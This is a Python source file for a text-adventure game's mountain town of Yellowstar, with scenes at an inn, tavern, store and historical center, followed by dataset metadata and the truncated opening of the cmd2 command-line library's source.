BaseDungeon\r\nfrom dungeon_game.utils import game_utils\r\nfrom dungeon_game.consts import inventory_consts, status_consts, magic_consts\r\nfrom dungeon_game.dungeons.dungeon_state import DungeonState\r\nimport random\r\n\r\nclass Yellowstar(BaseDungeon):\r\n\r\n def __init__(self, request, state, town=None):\r\n BaseDungeon.__init__(self, request, state, town)\r\n\r\n \"\"\"\r\n def somemethod(self):\r\n state = DungeonState()\r\n state.message = \"\"\r\n state.choices = []\r\n state.actions = []\r\n return state\r\n \"\"\"\r\n ####################\r\n # historical center\r\n ####################\r\n\r\n def yshistreadbookmoremoremoremore(self):\r\n state = DungeonState()\r\n state.message = \"'I will pull the knife out of his heart tonight. Even though we have not had light for days now \\\r\n I will know of the moonlight, as it hangs overhead, while we are trapped in this place. Tonight he dies. This is \\\r\n my last candle. I hope this finds you well.' -Tonas\"\r\n state.choices = [(\"yshist\", \"Put the book down\"),]\r\n return state\r\n \r\n def yshistreadbookmoremoremore(self):\r\n state = DungeonState()\r\n state.message = \"'The way is harsh. The light is nigh gone. I can nary hear a peep. We are in the Deep Black now, and it is \\\r\n just four. It is just four of us. We are in the Deep Black. I write to you by candle, I have but four left in my \\\r\n bag. I love you my darling. We have spent a hundred moons forging the path so that you all may come and find us \\\r\n and be with us again. We will make it and we will be happy again. I will see the end of this place.' -Tonas\"\r\n state.choices = [(\"yshistreadbookmoremoremoremore\", \"Read another passage from the book\"),\r\n (\"yshist\", \"Put the book down\"),]\r\n state.actions = []\r\n return state \r\n\r\n\r\n def yshistreadbookmoremore(self):\r\n state = DungeonState()\r\n state.message = \"'I really do miss my wife. I cannot believe that Malcom convinced us to come out here without our wives \\\r\n but I guess he is right. They would not survive. We came across the body of Menlo, it was half eaten, the other half \\\r\n too covered in maggots and worms for any beast to go near. His eyes had been chewed out, maybe pecked out, hard to tell. \\\r\n The worst part about seeing Menlo's body was that it meant we had been traveling in a circle for the last six \\\r\n moons. I wonder how long we have been out here now. I do not think Malcom knows the way. Almost half of us are gone \\\r\n now. I still do not know who will wake up the next day. I hope this town exists, because I do not think I know \\\r\n how to get back home now. I wish I could see my wife one more time.' -Tonas, the sad\"\r\n state.choices = [(\"yshistreadbookmoremoremore\", \"Read another passage from the book\"),\r\n (\"yshist\", \"Put the book down\"),]\r\n state.actions = []\r\n return state\r\n\r\n def yshistreadbookmore(self):\r\n state = DungeonState()\r\n state.message = \"'Sometimes I wonder if Malcom is going psychotic. I cannot tell if he is going to kill someone or love them next. \\\r\n He went loose on poor Menlo yesterday, beating him to all bloody hala and back. He left him in the forest, probably \\\r\n paralyzed, food for the wolves of the night. It is getting cold now and we do not know how much further we have \\\r\n left to go. The night falls and we never know who will wake up the next morn. I believe this winter will pass though \\\r\n I still trust Malcom. I guess I have to trust him, if I am to live.' -Tonas\"\r\n state.choices = [(\"yshistreadbookmoremore\", \"Read another passage from the book\"),\r\n (\"yshist\", \"Put the book down\"),]\r\n state.actions = []\r\n return state\r\n\r\n def yshistreadbook(self):\r\n state = DungeonState()\r\n state.message = \"'The way's been rough. We already lost Johan, Benny, Les, Mian, Cym and Donnal between y.s. and the river \\\r\n we just crossed. Malcom tried to name it after himself, like everything else on this suicide mission. He claims \\\r\n there is a hidden port town that is sustained by a sister town across the great water. With people dying in y.s., with \\\r\n no one else... with nothing else to do, who'd want to stay around there? Nobody really knows how much further we have \\\r\n till we get to this town, Manny is starting to say it's not even real. It's just some shit and Malcom is taking us all \\\r\n on a death hike.' -Tonas\"\r\n state.choices = [(\"yshistreadbookmore\", \"Read another passage from the book\"),\r\n (\"yshist\", \"Put the book down\"),]\r\n state.actions = []\r\n return state\r\n\r\n def yshistread(self):\r\n state = DungeonState()\r\n state.message = \"You go over to the shelves of books and find one sitting by itself on a reading stand. 'The history of Barig's Pass, \\\r\n construction/Year 1'.\"\r\n state.choices = [(\"yshistreadbook\", \"Read a passage from the book\"),]\r\n if game_utils.check_status(self.request, status_consts.ON_JOURNEY_ELENA) and \\\r\n not game_utils.check_status(self.request, status_consts.ON_JOURNEY_ELENA_YS):\r\n state.choices.append(('yshistelentalk', 'Go talk with Elena'))\r\n state.choices.append(('yshistlook', 'Look at some historical photographs')) \r\n state.choices.append(('start', 'Leave the Historical Center'))\r\n state.actions = []\r\n return state\r\n \r\n def yshistlook(self):\r\n state = DungeonState()\r\n state.message = \"You look over some of the historical photographs. There is one of a gruff looking man in a tall black hat, black coat \\\r\n and eyes dark as the night. His coat tails are rough from scraping against the rough earth, and his finger tips darkened \\\r\n with the color of the dirt. Next to him is a smiling gentleman in what appears to be some kind of wool suit. He carries \\\r\n a pack which appears to be heavy with books and journals and his glasses cast a glint of sun into the photo. \\\r\n The picture is titled 'Malcom and Tonas Barig, firsts of our kind'. You study the picture closely and \\\r\n notice a sword at Malcom's side.\"\r\n state.choices = []\r\n if game_utils.check_status(self.request, status_consts.ON_JOURNEY_ELENA) and \\\r\n not game_utils.check_status(self.request, status_consts.ON_JOURNEY_ELENA_YS):\r\n state.choices.append(('yshistelentalk', 'Go talk with Elena'))\r\n state.choices.append(('yshistread', 'Read some books'))\r\n state.choices.append(('start', 'Leave the Historical Center'))\r\n state.actions = []\r\n return state\r\n \r\n def yshistelenaleave(self):\r\n state = DungeonState()\r\n state.message = \"As you are walking out of the Historical Center, you hear Elena call your name from behind. She is adjusting \\\r\n a pouch on her belt and then raises her eyes to meet yours. She says that if you are both to survive, you both \\\r\n better be ready. You look at her for a moment, she walks up to you before you can say anything, and you both leave, \\\r\n preparing for the uncertain doom to come.\"\r\n state.choices = [('start', 'Head to the exit of the Historical Center')]\r\n state.actions = [(game_utils.add_status, self.request, status_consts.ON_JOURNEY_ELENA_YS)]\r\n return state\r\n\r\n def yshistelenhurt(self):\r\n state = DungeonState()\r\n state.message = \"You get sick of her ignoring you and decide to mess with her head a bit. You tell her that her friend is most \\\r\n likely dead. You let her know that you've overheard people around town and they think that no person has passed \\\r\n over the Barig's, and that all have died. You laugh a bit, at the thought of her desperately seeking her lost, dead \\\r\n friend. She goes into a rage and flips out, she starts throwing things at you and runs out of the room. You continue \\\r\n to taunt her from the other room. She gets incredibly upset and storms out.\"\r\n state.choices = [('yshistelenaleave', 'Leave the Historical Center')]\r\n return state\r\n\r\n def yshistelencomf(self):\r\n state = DungeonState()\r\n state.message = \"You place your hand on her shoulder, giving her a gentle squeeze. You tell her that her friend is definitely \\\r\n alive somewhere and that you will both find him. You tell her you have been going around town trying to learn as much \\\r\n as you can about the pass up ahead, and that you feel like you will be ready. You tell her everything is going to be \\\r\n alright. She looks up from her book and stops to look into your eyes. She thanks you and gets back to her reading.\"\r\n state.choices = [('yshistelenaleave', 'Leave the Historical Center')]\r\n return state\r\n\r\n def yshistelentalk(self):\r\n state = DungeonState()\r\n state.message = \"You head over to Elena and pull up a chair. You ask her what she is looking at and she raises a finger in response, \\\r\n telling you to be quiet. You examine her face and wonder if she has been crying, you wonder if this man of hers \\\r\n is even still alive. You try to tell her things will be alright, but she doesn't listen, she just keeps reading.\"\r\n state.choices = [('yshistelencomf', 'Tell Elena her friend is still alive'),\r\n ('yshistelenhurt', 'Tell Elena her friend is probably dead'),]\r\n return state\r\n\r\n def yshist(self):\r\n state = DungeonState()\r\n state.message = \"You walk into the Yellowstar Historical Center. It is filled with facts and information about the Barig Mountains \\\r\n and the history of the town. In it hangs pictures of some of the first members of the town, photographs taken \\\r\n before the written times began.\"\r\n state.choices = []\r\n if game_utils.check_status(self.request, status_consts.ON_JOURNEY_ELENA) and \\\r\n not game_utils.check_status(self.request, status_consts.ON_JOURNEY_ELENA_YS):\r\n state.message += \" You see Elena in the next room, looking over some books.\"\r\n state.choices.append(('yshistelentalk', 'Go talk with Elena'))\r\n state.choices.append(('yshistread', 'Read some books'))\r\n state.choices.append(('yshistlook', 'Look at some historical photographs'))\r\n state.choices.append(('start', 'Leave the Historical Center'))\r\n return state\r\n \r\n ################\r\n # general store\r\n ################\r\n\r\n def ysgenmagicteleport(self):\r\n state = DungeonState()\r\n if game_utils.check_status(self.request, status_consts.MONEY_LV_5):\r\n state.message = \"You learned
Teleport
magic.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n state.actions = [(game_utils.add_magic, self.request, magic_consts.TELEPORT)]\r\n else:\r\n state.message = \"Sorry, you can't afford that.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n return state \r\n\r\n def ysgenmagicmorph(self):\r\n state = DungeonState()\r\n if game_utils.check_status(self.request, status_consts.MONEY_LV_3):\r\n state.message = \"You learned
Morph
magic.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n state.actions = [(game_utils.add_magic, self.request, magic_consts.MORPH)]\r\n else:\r\n state.message = \"Sorry, you can't afford that.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n return state \r\n\r\n def ysgenmagicsight(self):\r\n state = DungeonState()\r\n if game_utils.check_status(self.request, status_consts.MONEY_LV_2):\r\n state.message = \"You learned
Sight
magic.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n state.actions = [(game_utils.add_magic, self.request, magic_consts.SIGHT)]\r\n else:\r\n state.message = \"Sorry, you can't afford that.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n return state \r\n\r\n def ysgenmagiccure(self):\r\n state = DungeonState()\r\n if game_utils.check_status(self.request, status_consts.MONEY_LV_1):\r\n state.message = \"You learned
Cure
magic.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n state.actions = [(game_utils.add_magic, self.request, magic_consts.CURE)]\r\n else:\r\n state.message = \"Sorry, you can't afford that.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n return state \r\n\r\n def ysgenmagicice(self):\r\n state = DungeonState()\r\n if game_utils.check_status(self.request, status_consts.MONEY_LV_1):\r\n state.message = \"You learned
Ice
magic.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n state.actions = [(game_utils.add_magic, self.request, magic_consts.ICE)]\r\n else:\r\n state.message = \"Sorry, you can't afford that.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n return state \r\n\r\n def ysgenmagicfire(self):\r\n state = DungeonState()\r\n if game_utils.check_status(self.request, status_consts.MONEY_LV_1):\r\n state.message = \"You learned
Fire
magic.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n state.actions = [(game_utils.add_magic, self.request, magic_consts.FIRE)]\r\n else:\r\n state.message = \"Sorry, you can't afford that.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n return state \r\n\r\n def ysgenmagic(self):\r\n state = DungeonState()\r\n state.message = \"You decide to take a look at the magic.\"\r\n state.choices = [('ysgenmagicfire', 'Learn Fire magic'),\r\n ('ysgenmagicice', 'Learn Ice magic'),\r\n ('ysgenmagiccure', 'Learn Cure magic'),\r\n ('ysgenmagicsight', 'Learn Sight magic'),\r\n ('ysgenmagicmorph', 'Learn Moprh magic'),\r\n ('ysgenmagicteleport', 'Learn Teleport magic'),\r\n ('ysgenweapons', 'Look at the weapons'),\r\n ('start', 'Leave the General Store'),]\r\n return state \r\n\r\n def ysgenweapnuclearbomb(self):\r\n state = DungeonState()\r\n if game_utils.check_status(self.request, status_consts.MONEY_LV_5):\r\n state.message = \"You got a
nuclear bomb
.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n state.actions = [(game_utils.add_inventory, self.request, inventory_consts.NUCLEAR_BOMB)]\r\n else:\r\n state.message = \"Sorry, you can't afford that.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n return state \r\n\r\n def ysgenweapshottie(self):\r\n state = DungeonState()\r\n if game_utils.check_status(self.request, status_consts.MONEY_LV_3):\r\n state.message = \"You got the
8 gauge shotgun
.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n state.actions = [(game_utils.add_inventory, self.request, inventory_consts.SHOTGUN_8G)]\r\n else:\r\n state.message = \"Sorry, you can't afford that.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n return state \r\n\r\n def ysgenweapsword(self):\r\n state = DungeonState()\r\n if game_utils.check_status(self.request, status_consts.MONEY_LV_2):\r\n state.message = \"You got a
sword
.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n state.actions = [(game_utils.add_inventory, self.request, inventory_consts.SWORD)]\r\n else:\r\n state.message = \"Sorry, you can't afford that.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n return state \r\n\r\n def ysgenweapsling(self):\r\n state = DungeonState()\r\n if game_utils.check_status(self.request, status_consts.MONEY_LV_1):\r\n state.message = \"You got the
rock sling
.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n state.actions = [(game_utils.add_inventory, self.request, inventory_consts.ROCK_SLING)]\r\n else:\r\n state.message = \"Sorry, you can't afford that.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n return state \r\n\r\n def ysgenweapmatches(self):\r\n state = DungeonState()\r\n if game_utils.check_status(self.request, status_consts.MONEY_LV_1):\r\n state.message = \"You got some
matches
.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n state.actions = [(game_utils.add_inventory, self.request, inventory_consts.MATCHES)]\r\n else:\r\n state.message = \"Sorry, you can't afford that.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n return state \r\n\r\n def ysgenweapknife(self):\r\n state = DungeonState()\r\n if game_utils.check_status(self.request, status_consts.MONEY_LV_1):\r\n state.message = \"You got a
knife
.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n state.actions = [(game_utils.add_inventory, self.request, inventory_consts.KNIFE)]\r\n else:\r\n state.message = \"Sorry, you can't afford that.\"\r\n state.choices = [('ysgen', 'Back to shopping'),]\r\n return state \r\n\r\n def ysgenweapons(self):\r\n state = DungeonState()\r\n state.message = \"You look at the selection of weapons.\"\r\n state.choices = [('ysgenweapknife', 'Get a knife'),\r\n ('ysgenweapmatches', 'Get some matches'),\r\n ('ysgenweapsling', 'Get a sling for throwing rocks'),\r\n ('ysgenweapsword', 'Get a sword'),\r\n ('ysgenweapshottie', 'Get an 8 gauge shotgun'),\r\n ('ysgenweapnuclearbomb', 'Get a nuclear bomb'),\r\n ('start', 'Leave the General Store'),]\r\n return state \r\n\r\n \r\n def ysgen(self):\r\n state = DungeonState()\r\n state.message = \"You walk into the Yellowstar General Store. The friendly old clerk behind the display case does not even bother to \\\r\n get up, but when you stroll in an ear of his perks up and an eye peaks out from behind his paper. He takes a sip of his \\\r\n drink and leaves you to shop. There are some weapons and b/w-stones on sale. You decide to take a look around.\"\r\n state.choices = [('ysgenweapons', 'Look at the weapons'),\r\n ('ysgenmagic', 'Look at the magic'),\r\n ('start', 'Leave the General Store'),]\r\n # first general store, at least give them money lv 1 if they have not gotten it so far\r\n state.actions = [(game_utils.add_status, self.request, status_consts.MONEY_LV_1)]\r\n return state \r\n\r\n\r\n ####################\r\n # TAVERN\r\n ###################\r\n \r\n def ystavpianofire(self):\r\n state = DungeonState()\r\n state.message = \"Lublob plays Wake Up by The Arcade Fire. A man in the back of the bar perks up and says he loved \\\r\n your selection. He teaches you how to use
Morph
magic using a special b-stone.\"\r\n state.choices = [('ystav', 'Leave him alone'),]\r\n state.actions = [(game_utils.add_magic, self.request, magic_consts.MORPH)]\r\n return state \r\n \r\n def ystavpianofloyd(self):\r\n state = DungeonState()\r\n state.message = \"Lublob plays some Floyd.\"\r\n state.choices = [('ystavpianoask', 'Ask him his name'),\r\n ('ystav', 'Leave him alone'),]\r\n return state \r\n \r\n def ystavpianoshore(self):\r\n state = DungeonState()\r\n state.message = \"Lublob plays something by Howard Shore.\"\r\n state.choices = [('ystavpianoask', 'Ask him his name'),\r\n ('ystav', 'Leave him alone'),]\r\n return state\r\n \r\n def ystavpianomansmiths(self):\r\n state = DungeonState()\r\n state.message = \"Lublob plays Ask.\"\r\n state.choices = [('ystavpianoask', 'Ask him his name'),\r\n ('ystav', 'Leave him alone'),]\r\n return state\r\n\r\n def ystavpianomanbeatles(self):\r\n state = DungeonState()\r\n state.message = \"Lublob plays Hey Jude.\"\r\n state.choices = [('ystavpianoask', 'Ask him his name'),\r\n ('ystav', 'Leave him alone'),]\r\n return state\r\n\r\n def ystavpianoask(self):\r\n state = DungeonState()\r\n state.message = \"You ask him his name, even though you can read from the tip jar it should be Lublob. He says everyone calls him \\\r\n pianoman. You ask him why that is but he starts freaking out. Lublob begins thrashing his arms and flailing incessantly. \\\r\n Kirin perks up from behind the bar and asks what the hell is going on. You tell him you weren't doing a thing and this \\\r\n nutcase started going crazy. Kirin tells you Lublob is a special young man and you can't treat him this way. Lublob \\\r\n takes some ale mugs and begins pitching them across the tavern, the glass hits the other wall and smashes all over \\\r\n everyone. You tell Lublob to stop throwing things but Kirin tells you to shut up. He comes up to you from behind the \\\r\n bar with a hammer the size of a boulder, he unleashes it on you, smashing your face into a pile of blood and brains \\\r\n all over the dirty tavern floor. They burn your body outside but your blood stains the tavern floor for years.\"\r\n state.die = True\r\n return state\r\n\r\n def ystavpianomangive(self):\r\n state = DungeonState()\r\n state.message = \"You
drop a few coins
into his tip jar.\"\r\n state.choices = [('ystavpianomanplay', 'Ask him to play a tune for you'), \r\n ('ystavpianoask', 'Ask him his name'),\r\n ('ystav', 'Leave him alone'),]\r\n state.actions = [(game_utils.add_status, self.request, status_consts.YS_GAVE_PIANOMAN_MONEY),]\r\n return state\r\n\r\n def ystavpianomanplay(self):\r\n state = DungeonState()\r\n state.message = \"You ask the young man to play a tune for you.\"\r\n if game_utils.check_status(self.request, status_consts.YS_GAVE_PIANOMAN_MONEY):\r\n state.message += \" He asks you what you'd like to hear.\"\r\n state.choices = [('ystavpianomanbeatles', 'Ask him to play Hey Jude by The Beatles'),\r\n ('ystavpianomansmiths', 'Ask him to play Ask by The Smiths'),\r\n ('ystavpianoshore', 'Ask him to play Concerning Hobbits by Howard Shore'),\r\n ('ystavpianofloyd', 'Ask him to play The Wall by Pink Floyd'),\r\n ('ystavpianofire', 'Ask him to Wake Up by The Arcade Fire'),\r\n ('ystav', 'Leave him alone'),]\r\n else:\r\n state.message += \" He slowly motions to the little jar labeled 'Tips for Lublob'\"\r\n state.choices = [('ystavpianomangive', 'Give him a tip of silver'),\r\n ('ystavpianoask', 'Ask him his name'),\r\n ('ystav', 'Leave him alone'),]\r\n return state\r\n \r\n\r\n def ystavpianoman(self):\r\n state = DungeonState()\r\n state.message = \"You go up to the young man playing piano. He finishes his tune, stops, and then slowly looks up at you. \\\r\n Some drunk hoots about the music being shut off, but you grab the nearest burning cigar and hurl it towards \\\r\n his face, burning his nose and eye.\"\r\n state.choices = [('ystavpianomanplay', 'Ask him to play a tune for you'),\r\n ('ystavpianomangive', 'Give him a tip of silver'),\r\n ('ystavpianoask', 'Ask him his name'),\r\n ('ystav', 'Leave him alone'),]\r\n return state\r\n \r\n\r\n def ystavkirinrecog(self):\r\n state = DungeonState()\r\n state.message = \"You ask Kirin if he recognizes you and he says he was just going to say that he did. He says you were in there \\\r\n about two months back, hooting and hollering about how you are tired of the burdens of your life. You didn't say \\\r\n much more than that, but you left a lot of coins all over the place.\"\r\n state.choices = [('ystavkirintalk', 'Ask Kirin about the tavern'),]\r\n state.choices.append(('ystav', 'Finish your drink'),)\r\n return state \r\n\r\n def ystavkirintalk(self):\r\n state = DungeonState()\r\n state.message = \"Kirin tells you all about the tavern, how it has been in his family history for, perhaps, hundreds of genenrations. \\\r\n He says it was supposed to be one of the first taverns that served all of Baragon, during the Beginning of Days, \\\r\n before the written times.\"\r\n state.choices = []\r\n if not game_utils.check_status(self.request, status_consts.PLAYER_KNOWS_SELF):\r\n state.choices.append(('ystavkirinrecog', 'Ask Kirin if he knows you'),)\r\n state.choices.append(('ystav', 'Finish your drink'),)\r\n return state \r\n \r\n def ystavkirin(self):\r\n state = DungeonState()\r\n state.message = \"You sit down with Kirin the bartender. He asks what you'll be having and you tell him you'll have a bourbon. He \\\r\n pours one up for you and one for himself.\"\r\n state.choices = [('ystavkirintalk', 'Ask Kirin about the tavern'),]\r\n if not game_utils.check_status(self.request, status_consts.PLAYER_KNOWS_SELF):\r\n state.choices.append(('ystavkirinrecog', 'Ask Kirin if he knows you'),)\r\n state.choices.append(('ystav', 'Finish your drink'),)\r\n return state\r\n\r\n def ystavminerask(self):\r\n state = DungeonState()\r\n state.message = \"You ask them about crossing over through the Barig Pass. They say they know of no creature, man or myth, \\\r\n who has ever passed over the Barig's. You ask them about Malcom Barig, the ranges namesake. They say \\\r\n it is a well known myth about Malcom Barig, and the only reason the mountains carry his name is because he died \\\r\n attempting to cross. They say his grave is found far along the dangerous path, though they have never been so far.\"\r\n state.choices = [('ystav', 'Leave them'),]\r\n return state\r\n \r\n def ystavminer(self):\r\n state = DungeonState()\r\n state.message = \"You approach the group of miners in the corner. There are three of them, Chaleth, Chalen and Chalen, no relation. \\\r\n They met on the peaks of the Barig's, all after the same rare gold coins. They all came back empty handed save their \\\r\n friendship. They believe that they probably saved each others lives up there.\"\r\n state.choices = [('ystavminerask', 'Ask them about crossing through'),\r\n ('ystav', 'Leave them'),]\r\n return state\r\n \r\n def ystav(self):\r\n state = DungeonState()\r\n state.message = \"You walk into the The Icey Tavern, or just The Icey, as the locals call it. It smells of rotten cheese and fresh lager, \\\r\n just the way they like it around here. The mining men often come to this tavern to unload their heavy burdens and \\\r\n listen to the young man playing the bars piano, angling for silver.\"\r\n state.choices = [('ystavminer', 'Talk to a group of miners'),\r\n ('ystavkirin', 'Talk to Kirin the bartender'),\r\n ('ystavpianoman', 'Talk to the young man playing piano'),\r\n ('start', 'Leave the tavern'),]\r\n state.actions = []\r\n return state\r\n \r\n ############\r\n # INN\r\n ############\r\n\r\n def ysinnrest(self):\r\n state = DungeonState()\r\n state.message = \"You grab a key to one of the rooms upstairs and take a short nap. It's not a full night of sleep but it's enough \\\r\n for a little while. While you sleep you dream of an angel flying down from heaven. It begins to help the people \\\r\n of the land, until a time later when it begins to do evil. It turns the people against each other, and when it leaves \\\r\n it goes down to hell.\"\r\n state.choices = [('start', 'Leave the Inn'),]\r\n return state\r\n\r\n def ysinnmap(self):\r\n state = DungeonState()\r\n state.message = \"You take a closer look at the map on the wall, it has a rough drawing of the Barig Mountains on it. There is a rough \\\r\n line etched into the charcoal. Doren tells you it is the map he obtained from his grandfather, a map through \\\r\n Barig Pass. He says he has always been too afraid to pass over the mountains, but one day he hopes to. You notice \\\r\n something on the map:

Watch out for the river fox,
head through the tunnel
\\\r\n even before the water lock,
beware the falling rocks
and mind your magic please.

Doren says it \\\r\n was an old rhyme to help travellers going through the pass.\"\r\n state.choices = [('ysinntalk', 'Talk to Doren'), \r\n ('ysinnrest', 'Get some rest'),\r\n ('start', 'Leave the Inn'),]\r\n return state\r\n \r\n def ysinntalk(self):\r\n state = DungeonState()\r\n state.message = \"You say hello to Doren. He says the weather out on the peak has been %s. You tell him you've been doing well \\\r\n and he says he is glad. You ask him how his kids are doing and he says they are doing pretty well except that his \\\r\n son keeps acting up. You tell him that's nothing a good whooping won't cure. He says he doesn't really believe in \\\r\n beating his children. You smile and nod politely and winks in return.\" % (['nasty', 'fair', 'mild',\r\n 'scary', 'beautiful'][random.randint(0, 4)])\r\n state.choices = [('ysinnmap', 'Take a look at the map on the wall'),\r\n ('ysinnrest', 'Get some rest'),\r\n ('start', 'Leave the Inn'),]\r\n return state \r\n \r\n def ysinn(self):\r\n state = DungeonState()\r\n state.message = \"You walk into the Snowpeak Inn, you take note of the sign made out of wood, shaped like mountains \\\r\n and painted white at the tips. The words Snowpeak painted in green and white at the mountain tips. \\\r\n Doren, the inn keeper, says hello to you.\"\r\n state.choices = [('ysinntalk', 'Talk to Doren'),\r\n ('ysinnmap', 'Take a look at the map on the wall'),\r\n ('ysinnrest', 'Get some rest'),\r\n ('start', 'Leave the Inn'),]\r\n state.actions = []\r\n return state\r\n \r\n #########################\r\n # start\r\n #########################\r\n \r\n def yselenaleave(self):\r\n state = DungeonState()\r\n state.message = \"You and Elena head out of the town of Yellowstar and head for the mountains to the east, right behind the town, \\\r\n like a giant backyard. You are walking over an old wooden bridge passing over a mine shaft when a board snaps \\\r\n beneath you, pulling down half of your leg with it. You grab onto the rope and yank yourself up and onto the next \\\r\n stable board. You slowly make your way across, Elena close behind you. Once you are both safe she looks at you and \\\r\n asks if you are ready to go over the pass. You ask her if she is ready, you were the one who led the way over the \\\r\n bridge. She assures you she will be fine. You come to the first bridge, in front of it there is a stone as big as \\\r\n a whale, with some words hewn into it.

Here began the journey of 20 of the strongest souls to ever live.
\\\r\n May their souls rest in peace.

\\\r\n You and Elena look at each other disconcertingly.\"\r\n state.choices = [('barigpass/start', 'Head into Barig Pass'),]\r\n return state\r\n \r\n def ysbuggy(self):\r\n state = DungeonState()\r\n state.message = \"Where to?\"\r\n state.choices = [('lorentown/start', 'Lorentown')]\r\n return state\r\n\r\n def start(self):\r\n state = DungeonState()\r\n state.choices = []\r\n state.message = \"Welcome to Yellowstar, the mountain town.\"\r\n if game_utils.check_status(self.request, status_consts.ON_JOURNEY_ELENA) and \\\r\n not game_utils.check_status(self.request, status_consts.ON_JOURNEY_ELENA_YS):\r\n state.message += \" Elena says she is going to find out more about Barig Pass and she will meet you back \\\r\n here when she is ready to leave.\"\r\n state.choices = [('ysinn', 'Head into the Snowpeak Inn'),\r\n ('ystav', 'Head into The Icey Tavern'),\r\n ('ysgen', 'Head into the Yellowstar General Store'),\r\n ('yshist', 'Head into the Yellowstar Historical Center'),]\r\n \r\n if game_utils.check_status(self.request, status_consts.ON_JOURNEY_ELENA) and \\\r\n game_utils.check_status(self.request, status_consts.ON_JOURNEY_ELENA_YS):\r\n state.choices.append(('yselenaleave', 'Leave with Elena'))\r\n if not game_utils.check_status(self.request, status_consts.ON_JOURNEY_ELENA):\r\n state.choices.append(('ysbuggy', 'Yellowstar Buggy'))\r\n return state\r\n \r\n \r\n","sub_path":"dungeon_game/dungeons/yellowstar.py","file_name":"yellowstar.py","file_ext":"py","file_size_in_byte":35820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"461767915","text":"#!/usr/bin/env python\n# coding=utf-8\n\"\"\"Variant on standard library's cmd with extra features.\n\nTo use, simply import cmd2.Cmd instead of cmd.Cmd; use precisely as though you\nwere using the standard library's cmd, while enjoying the extra features.\n\nSearchable command history (commands: \"history\", \"list\", \"run\")\nLoad commands from file, save to file, edit commands in file\nMulti-line commands\nCase-insensitive commands\nSpecial-character shortcut commands (beyond cmd's \"@\" and \"!\")\nSettable environment parameters\nOptional _onchange_{paramname} called when environment parameter changes\nParsing commands with `optparse` options (flags)\nRedirection to file with >, >>; input from file with <\nEasy transcript-based testing of applications (see examples/example.py)\nBash-style ``select`` available\n\nNote that redirection with > and | will only work if `self.poutput()`\nis used in place of `print`.\n\n- Catherine Devlin, Jan 03 2008 - catherinedevlin.blogspot.com\n\nGit repository on GitHub at https://github.com/python-cmd2/cmd2\n\"\"\"\nimport cmd\nimport codecs\nimport collections\nimport datetime\nimport glob\nimport io\nimport optparse\nimport os\nimport platform\nimport re\nimport shlex\nimport six\nimport sys\nimport tempfile\nimport traceback\nimport unittest\nfrom code import InteractiveConsole\nfrom optparse import make_option\n\nimport pyparsing\nimport pyperclip\n\n# Newer versions of pyperclip are released as a single file, but older versions had a more complicated structure\ntry:\n from pyperclip.exceptions import PyperclipException\nexcept ImportError:\n # noinspection PyUnresolvedReferences\n from pyperclip import PyperclipException\n\n# On some systems, pyperclip will import gtk for its clipboard functionality.\n# The following code is a workaround for gtk interfering with printing from a background\n# thread while the CLI thread is blocking in raw_input() in Python 2 on Linux.\ntry:\n # noinspection PyUnresolvedReferences\n import gtk\n gtk.set_interactive(0)\nexcept ImportError:\n pass\n\n# next(it) gets next item of iterator it. This is a replacement for calling it.next() in Python 2 and next(it) in Py3\nfrom six import next\n\n# Possible types for text data. This is basestring() in Python 2 and str in Python 3.\nfrom six import string_types\n\n# Used for sm.input: raw_input() for Python 2 or input() for Python 3\nimport six.moves as sm\n\n# itertools.zip() for Python 2 or zip() for Python 3 - produces an iterator in both cases\nfrom six.moves import zip\n\n# If using Python 2.7, try to use the subprocess32 package backported from Python 3.2 due to various improvements\n# NOTE: The feature to pipe output to a shell command won't work correctly in Python 2.7 without this\ntry:\n # noinspection PyPackageRequirements\n import subprocess32 as subprocess\nexcept ImportError:\n import subprocess\n\n# Detect whether IPython is installed to determine if the built-in \"ipy\" command should be included\nipython_available = True\ntry:\n # noinspection PyUnresolvedReferences,PyPackageRequirements\n from IPython import embed\nexcept ImportError:\n ipython_available = False\n\n# Try to import readline, but allow failure for convenience in Windows unit testing\n# Note: If this actually fails, you should install readline on Linux or Mac or pyreadline on Windows\ntry:\n # noinspection PyUnresolvedReferences\n import readline\nexcept ImportError:\n pass\n\n# BrokenPipeError is only in Python 3. Use IOError for Python 2.\nif six.PY3:\n BROKEN_PIPE_ERROR = BrokenPipeError\nelse:\n BROKEN_PIPE_ERROR = IOError\n\n__version__ = '0.7.9a'\n\n# Pyparsing enablePackrat() can greatly speed up parsing, but problems have been seen in Python 3 in the past\npyparsing.ParserElement.enablePackrat()\n\n# Override the default whitespace chars in Pyparsing so that newlines are not treated as whitespace\npyparsing.ParserElement.setDefaultWhitespaceChars(' \\t')\n\n\n# The next 3 variables and associated setter functions effect how arguments are parsed for commands using @options.\n# The defaults are \"sane\" and maximize ease of use for new applications based on cmd2.\n# To maximize backwards compatibility, we recommend setting USE_ARG_LIST to \"False\"\n\n# Use POSIX or Non-POSIX (Windows) rules for splitting a command-line string into a list of arguments via shlex.split()\nPOSIX_SHLEX = False\n\n# Strip outer quotes for convenience if POSIX_SHLEX = False\nSTRIP_QUOTES_FOR_NON_POSIX = True\n\n# For option commands, 